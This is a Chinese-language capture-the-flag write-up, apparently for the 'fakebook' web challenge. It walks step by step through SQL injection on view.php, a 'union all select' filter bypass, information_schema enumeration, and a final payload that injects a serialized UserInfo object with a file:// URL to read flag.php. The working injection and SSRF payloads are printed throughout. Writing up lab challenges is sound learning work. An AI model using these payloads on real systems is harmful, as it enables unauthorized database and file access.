先注册一个试试(但是注册完之后退不回去了 需要重新开一个浏览器)
注册完随便点一点,发现URL有点异样
http://111.200.241.244:54356/view.php?no=1
看起来又是个sql注入 先加个单引号——果然报错了
接着用order by 测试出来有四个字段
常规的联合查询注入搞一下union select(我猜应该没这么简单)
但是!union select 不行 ,我们试试union all select
(成功绕过)
?no=0 union all select 1,database(),3,4 --+
数据库名fakebook
?no=0 union all select 1,group_concat(table_name),3,4 from information_schema.tables --+
拿到所有表名字
?no=0 union all select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='fakebook'--+
字段名users
?no=0 union all select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='users'--+
字段值 no,username,passwd,data,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS
?no=0 union all select 1,group_concat(data),3,4 from users--+
这里得到了一串序列化的值,感觉有点懵逼,这不是我自己注册的信息吗?
O:8:"UserInfo":3:
{s:4:"name";s:3:"abc";s:3:"age";i:123;s:4:"blog";s:10:"www.bb.com";}
那么这关考的不光是sql注入了 重新理一下思路,扔到御剑里跑一跑
发现有flag.PHP和robots.txt。访问robots.txt
访问/user.PHP.bak 直接下载了一个文件 打开看一下是个PHP代码
这里彻底不会了 看下大佬的思路
通过构造反序列化语句,使用file协议去读取/var/www/html/flag.PHP的内容(file协议主要用于访问计算机本地文件,基本格式为:file:///文件路径)
构造出以下payload:
?no=0 union all%20select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:3:"abc";s:3:"age";i:123;s:4:"blog";s:29:"file:///var/www/html/flag.PHP";}'
右键查看源码
参考链接
版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 dio@foxmail.com 举报,一经查实,本站将立刻删除。